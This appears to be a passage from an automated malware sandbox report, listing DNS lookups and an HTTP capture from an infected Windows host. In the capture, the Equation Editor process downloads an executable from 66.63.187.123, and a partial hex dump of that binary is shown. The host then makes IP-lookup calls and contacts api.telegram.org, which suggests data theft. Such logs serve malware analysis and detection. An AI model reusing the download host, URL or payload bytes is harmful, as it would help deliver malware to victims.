Sep 26, 2024 07:47:32.700567007 CEST	192.168.2.22	8.8.8.8	0x16a0	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:33.328042984 CEST	192.168.2.22	8.8.8.8	0x8b6a	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:34.042360067 CEST	192.168.2.22	8.8.8.8	0x49bf	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:34.093873024 CEST	192.168.2.22	8.8.8.8	0x384a	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.063040972 CEST	192.168.2.22	8.8.8.8	0x7c4d	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.706492901 CEST	192.168.2.22	8.8.8.8	0xd27	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.714905024 CEST	192.168.2.22	8.8.8.8	0xcdeb	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.721400976 CEST	192.168.2.22	8.8.8.8	0xcdeb	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:39.407860041 CEST	192.168.2.22	8.8.8.8	0x9683	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:40.695564032 CEST	192.168.2.22	8.8.8.8	0x932f	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:40.703967094 CEST	192.168.2.22	8.8.8.8	0xc4a7	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:41.435216904 CEST	192.168.2.22	8.8.8.8	0x5171	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:42.356520891 CEST	192.168.2.22	8.8.8.8	0xee6e	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:42.367121935 CEST	192.168.2.22	8.8.8.8	0x71c3	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:42.843437910 CEST	192.168.2.22	8.8.8.8	0x7a15	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:43.619407892 CEST	192.168.2.22	8.8.8.8	0x3f63	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 26, 2024 07:47:26.016881943 CEST	8.8.8.8	192.168.2.22	0x4c92	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 07:47:26.016881943 CEST	8.8.8.8	192.168.2.22	0x4c92	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:26.016881943 CEST	8.8.8.8	192.168.2.22	0x4c92	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:26.016881943 CEST	8.8.8.8	192.168.2.22	0x4c92	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:26.016881943 CEST	8.8.8.8	192.168.2.22	0x4c92	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:26.016881943 CEST	8.8.8.8	192.168.2.22	0x4c92	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:26.031714916 CEST	8.8.8.8	192.168.2.22	0x8a11	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 07:47:26.031714916 CEST	8.8.8.8	192.168.2.22	0x8a11	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:26.031714916 CEST	8.8.8.8	192.168.2.22	0x8a11	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:26.031714916 CEST	8.8.8.8	192.168.2.22	0x8a11	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:26.031714916 CEST	8.8.8.8	192.168.2.22	0x8a11	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:26.031714916 CEST	8.8.8.8	192.168.2.22	0x8a11	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:28.526055098 CEST	8.8.8.8	192.168.2.22	0x8ccd	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:28.526055098 CEST	8.8.8.8	192.168.2.22	0x8ccd	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:31.361742020 CEST	8.8.8.8	192.168.2.22	0x7da1	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 07:47:31.361742020 CEST	8.8.8.8	192.168.2.22	0x7da1	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:31.361742020 CEST	8.8.8.8	192.168.2.22	0x7da1	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:31.361742020 CEST	8.8.8.8	192.168.2.22	0x7da1	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:31.361742020 CEST	8.8.8.8	192.168.2.22	0x7da1	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:31.361742020 CEST	8.8.8.8	192.168.2.22	0x7da1	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:31.370608091 CEST	8.8.8.8	192.168.2.22	0x9614	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 07:47:31.370608091 CEST	8.8.8.8	192.168.2.22	0x9614	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:31.370608091 CEST	8.8.8.8	192.168.2.22	0x9614	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:31.370608091 CEST	8.8.8.8	192.168.2.22	0x9614	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:31.370608091 CEST	8.8.8.8	192.168.2.22	0x9614	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:31.370608091 CEST	8.8.8.8	192.168.2.22	0x9614	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:32.034898043 CEST	8.8.8.8	192.168.2.22	0xd76f	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:32.034898043 CEST	8.8.8.8	192.168.2.22	0xd76f	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:32.682720900 CEST	8.8.8.8	192.168.2.22	0x8778	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 07:47:32.682720900 CEST	8.8.8.8	192.168.2.22	0x8778	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:32.682720900 CEST	8.8.8.8	192.168.2.22	0x8778	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:32.682720900 CEST	8.8.8.8	192.168.2.22	0x8778	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:32.682720900 CEST	8.8.8.8	192.168.2.22	0x8778	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:32.682720900 CEST	8.8.8.8	192.168.2.22	0x8778	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:32.708744049 CEST	8.8.8.8	192.168.2.22	0x16a0	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 07:47:32.708744049 CEST	8.8.8.8	192.168.2.22	0x16a0	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:32.708744049 CEST	8.8.8.8	192.168.2.22	0x16a0	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:32.708744049 CEST	8.8.8.8	192.168.2.22	0x16a0	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:32.708744049 CEST	8.8.8.8	192.168.2.22	0x16a0	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:32.708744049 CEST	8.8.8.8	192.168.2.22	0x16a0	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:33.340104103 CEST	8.8.8.8	192.168.2.22	0x8b6a	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:33.340104103 CEST	8.8.8.8	192.168.2.22	0x8b6a	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:34.048654079 CEST	8.8.8.8	192.168.2.22	0x49bf	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 07:47:34.048654079 CEST	8.8.8.8	192.168.2.22	0x49bf	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:34.048654079 CEST	8.8.8.8	192.168.2.22	0x49bf	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:34.048654079 CEST	8.8.8.8	192.168.2.22	0x49bf	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:34.048654079 CEST	8.8.8.8	192.168.2.22	0x49bf	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:34.048654079 CEST	8.8.8.8	192.168.2.22	0x49bf	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:34.100194931 CEST	8.8.8.8	192.168.2.22	0x384a	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 07:47:34.100194931 CEST	8.8.8.8	192.168.2.22	0x384a	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:34.100194931 CEST	8.8.8.8	192.168.2.22	0x384a	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:34.100194931 CEST	8.8.8.8	192.168.2.22	0x384a	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:34.100194931 CEST	8.8.8.8	192.168.2.22	0x384a	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:34.100194931 CEST	8.8.8.8	192.168.2.22	0x384a	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.070183039 CEST	8.8.8.8	192.168.2.22	0x7c4d	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.070183039 CEST	8.8.8.8	192.168.2.22	0x7c4d	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.712769985 CEST	8.8.8.8	192.168.2.22	0xd27	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 07:47:38.712769985 CEST	8.8.8.8	192.168.2.22	0xd27	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.712769985 CEST	8.8.8.8	192.168.2.22	0xd27	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.712769985 CEST	8.8.8.8	192.168.2.22	0xd27	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.712769985 CEST	8.8.8.8	192.168.2.22	0xd27	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.712769985 CEST	8.8.8.8	192.168.2.22	0xd27	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.721246004 CEST	8.8.8.8	192.168.2.22	0xcdeb	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 07:47:38.721246004 CEST	8.8.8.8	192.168.2.22	0xcdeb	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.721246004 CEST	8.8.8.8	192.168.2.22	0xcdeb	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.721246004 CEST	8.8.8.8	192.168.2.22	0xcdeb	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.721246004 CEST	8.8.8.8	192.168.2.22	0xcdeb	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.721246004 CEST	8.8.8.8	192.168.2.22	0xcdeb	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.727744102 CEST	8.8.8.8	192.168.2.22	0xcdeb	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 07:47:38.727744102 CEST	8.8.8.8	192.168.2.22	0xcdeb	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.727744102 CEST	8.8.8.8	192.168.2.22	0xcdeb	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.727744102 CEST	8.8.8.8	192.168.2.22	0xcdeb	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.727744102 CEST	8.8.8.8	192.168.2.22	0xcdeb	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:38.727744102 CEST	8.8.8.8	192.168.2.22	0xcdeb	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:39.415088892 CEST	8.8.8.8	192.168.2.22	0x9683	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:39.415088892 CEST	8.8.8.8	192.168.2.22	0x9683	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:40.701773882 CEST	8.8.8.8	192.168.2.22	0x932f	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 07:47:40.701773882 CEST	8.8.8.8	192.168.2.22	0x932f	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:40.701773882 CEST	8.8.8.8	192.168.2.22	0x932f	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:40.701773882 CEST	8.8.8.8	192.168.2.22	0x932f	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:40.701773882 CEST	8.8.8.8	192.168.2.22	0x932f	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:40.701773882 CEST	8.8.8.8	192.168.2.22	0x932f	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:40.710437059 CEST	8.8.8.8	192.168.2.22	0xc4a7	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 07:47:40.710437059 CEST	8.8.8.8	192.168.2.22	0xc4a7	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:40.710437059 CEST	8.8.8.8	192.168.2.22	0xc4a7	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:40.710437059 CEST	8.8.8.8	192.168.2.22	0xc4a7	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:40.710437059 CEST	8.8.8.8	192.168.2.22	0xc4a7	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:40.710437059 CEST	8.8.8.8	192.168.2.22	0xc4a7	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:41.442218065 CEST	8.8.8.8	192.168.2.22	0x5171	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:41.442218065 CEST	8.8.8.8	192.168.2.22	0x5171	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:42.363111973 CEST	8.8.8.8	192.168.2.22	0xee6e	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 07:47:42.363111973 CEST	8.8.8.8	192.168.2.22	0xee6e	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:42.363111973 CEST	8.8.8.8	192.168.2.22	0xee6e	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:42.363111973 CEST	8.8.8.8	192.168.2.22	0xee6e	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:42.363111973 CEST	8.8.8.8	192.168.2.22	0xee6e	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:42.363111973 CEST	8.8.8.8	192.168.2.22	0xee6e	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:42.373533010 CEST	8.8.8.8	192.168.2.22	0x71c3	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 07:47:42.373533010 CEST	8.8.8.8	192.168.2.22	0x71c3	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:42.373533010 CEST	8.8.8.8	192.168.2.22	0x71c3	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:42.373533010 CEST	8.8.8.8	192.168.2.22	0x71c3	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:42.373533010 CEST	8.8.8.8	192.168.2.22	0x71c3	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:42.373533010 CEST	8.8.8.8	192.168.2.22	0x71c3	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:42.854585886 CEST	8.8.8.8	192.168.2.22	0x7a15	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:42.854585886 CEST	8.8.8.8	192.168.2.22	0x7a15	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:43.625776052 CEST	8.8.8.8	192.168.2.22	0x3f63	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

66.63.187.123

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	66.63.187.123	80	3360	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 07:47:18.544132948 CEST	321	OUT	GET /txt/LLnsOpxxAnmWi.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 66.63.187.123 Connection: Keep-Alive
Sep 26, 2024 07:47:20.411302090 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 26 Sep 2024 05:47:20 GMT Content-Type: application/x-msdos-program Content-Length: 704000 Connection: keep-alive Last-Modified: Thu, 26 Sep 2024 03:29:52 GMT ETag: "abe00-622fd59ffb286" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a1 d4 f4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 98 0a 00 00 24 00 00 00 00 00 00 76 b6 0a 00 00 20 00 00 00 c0 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 0b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 b6 0a 00 4f 00 00 00 00 c0 0a 00 ac 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf0$v @ @$O H.text\| `.rsrc "@@.reloc@BXHY\5,&0\|((}{(}(}(}(}(}(}(}0!( lY mZ(X+0ms} }#cA} ig}#c} 's}s}}}((8>%,os{{(}
Sep 26, 2024 07:47:20.411328077 CEST	224	IN	Data Raw: 7b 03 00 00 04 02 7b 0b 00 00 04 28 20 00 00 0a 7d 0b 00 00 04 02 08 7b 01 00 00 04 02 7b 0c 00 00 04 28 21 00 00 0a 7d 0c 00 00 04 02 08 7b 03 00 00 04 02 7b 0d 00 00 04 28 22 00 00 0a 7d 0d 00 00 04 02 02 7b 0e 00 00 04 08 7b 08 00 00 04 28 23 Data Ascii: {{( }{{(!}{{("}{{(#-{+{}{{($-{+{}{{o%Xi:*0#$@Yl#$@(&
Sep 26, 2024 07:47:20.411339045 CEST	1236	IN	Data Raw: 00 00 0a 28 27 00 00 0a 28 28 00 00 0a 69 7d 10 00 00 04 02 23 00 00 00 00 00 00 24 40 0e 05 0e 04 59 6c 23 00 00 00 00 00 00 24 40 28 26 00 00 0a 28 27 00 00 0a 28 28 00 00 0a 69 7d 11 00 00 04 16 0a 2b 57 00 06 20 90 01 00 00 5a 6b 05 04 59 6b Data Ascii: ('((i}#$@Yl#$@(&('((i}+W ZkYk[l{],()+(k"k"Co+{k" A[i(!XY-s,8 ZkYk[l{],()+("k"Ck
Sep 26, 2024 07:47:20.411345959 CEST	1236	IN	Data Raw: 09 00 00 04 6f 39 00 00 0a 11 17 6f 3a 00 00 0a 7b 04 00 00 04 09 59 23 00 00 00 00 00 00 79 40 5a 11 04 5b 13 19 02 7b 09 00 00 04 6f 39 00 00 0a 11 17 6f 3a 00 00 0a 7b 05 00 00 04 09 59 23 00 00 00 00 00 00 79 40 5a 11 04 5b 13 1a 02 7b 09 00 Data Ascii: o9o:{Y#y@Z[{o9o:{Y#y@Z[{o9o:{Y#y@Z[{o9o:{Y#y@Z[1(A+(=kkkko+,,(B#@[Ykkk
Sep 26, 2024 07:47:20.411355972 CEST	1236	IN	Data Raw: 00 00 13 30 02 00 2b 00 00 00 0b 00 00 11 00 03 2c 0b 02 7b 12 00 00 04 14 fe 03 2b 01 16 0a 06 2c 0e 00 02 7b 12 00 00 04 6f 4f 00 00 0a 00 00 02 03 28 52 00 00 0a 00 2a 00 13 30 05 00 a4 00 00 00 0c 00 00 11 00 d0 04 00 00 02 28 53 00 00 0a 73 Data Ascii: 0+,{+,{oO(R0(SsT(U"A"AsV(W(X ~ sY(Zrpo[tQ(\(]s^(_rp(`r#po3(a(b0[
Sep 26, 2024 07:47:20.411366940 CEST	1236	IN	Data Raw: 0a 17 58 02 7b 2e 00 00 04 6f 72 00 00 0a 28 73 00 00 0a 73 1c 00 00 0a 28 02 00 00 06 7d 1b 00 00 04 02 02 7b 13 00 00 04 02 7b 1a 00 00 04 02 7b 1b 00 00 04 6f 09 00 00 06 7d 1c 00 00 04 02 02 7b 13 00 00 04 02 7b 1a 00 00 04 02 7b 1b 00 00 04 Data Ascii: X{.or(ss(}{{{o}{{{o}{"4B{o\|Yko}{"?"o~{{{{{o}{,(x{oo{5o
Sep 26, 2024 07:47:20.411375999 CEST	896	IN	Data Raw: 00 00 0a 00 02 7b 3a 00 00 04 6f 8b 00 00 0a 00 02 7b 3b 00 00 04 6f 8b 00 00 0a 00 02 28 55 00 00 0a 00 02 7b 21 00 00 04 18 6f 8c 00 00 0a 00 02 7b 21 00 00 04 16 20 1a 04 00 00 73 30 00 00 0a 6f 31 00 00 0a 00 02 7b 21 00 00 04 1c 16 1c 16 73 Data Ascii: {:o{;o(U{!o{! s0o1{!s^o{!rGpo`{! sYo{!o{"o{" Gs0o1{"s^o{"rUpo`{" sYo
Sep 26, 2024 07:47:20.411396027 CEST	1236	IN	Data Raw: 18 72 ff 00 00 70 a2 25 19 72 0b 01 00 70 a2 25 1a 72 17 01 00 70 a2 25 1b 72 1f 01 00 70 a2 25 1c 72 29 01 00 70 a2 25 1d 72 33 01 00 70 a2 25 1e 72 41 01 00 70 a2 25 1f 09 72 55 01 00 70 a2 25 1f 0a 72 65 01 00 70 a2 25 1f 0b 72 77 01 00 70 a2 Data Ascii: rp%rp%rp%rp%r)p%r3p%rAp%rUp%rep%rwpo{' s0o1{'s^o{'rpo`{' 'sYo{'o{'smoo{(o{( us0
Sep 26, 2024 07:47:20.411406994 CEST	1236	IN	Data Raw: 04 1f 41 1f 20 73 59 00 00 0a 6f 8e 00 00 0a 00 02 7b 2d 00 00 04 1f 12 6f 8f 00 00 0a 00 02 7b 2d 00 00 04 72 d5 00 00 70 6f 33 00 00 0a 00 02 7b 2e 00 00 04 20 8c 03 00 00 20 9c 04 00 00 73 30 00 00 0a 6f 31 00 00 0a 00 02 7b 2e 00 00 04 1c 1c Data Ascii: A sYo{-o{-rpo3{. s0o1{.s^o{.C%soh{.C%sog{.rpo`{.l&sYo{.o{.C%soi{/o
Sep 26, 2024 07:47:20.411417007 CEST	448	IN	Data Raw: 00 00 04 1f 1b 6f 8f 00 00 0a 00 02 7b 35 00 00 04 72 33 03 00 70 6f 33 00 00 0a 00 02 7b 35 00 00 04 17 6f 95 00 00 0a 00 02 7b 35 00 00 04 02 fe 06 11 00 00 06 73 6d 00 00 0a 6f 99 00 00 0a 00 02 7b 36 00 00 04 17 6f 90 00 00 0a 00 02 7b 36 00 Data Ascii: o{5r3po3{5o{5smo{6o{6@o{6(o{6 os0o1{6s^o{6r9po`{6U$sYo{6o{6rCpo3{6o{6
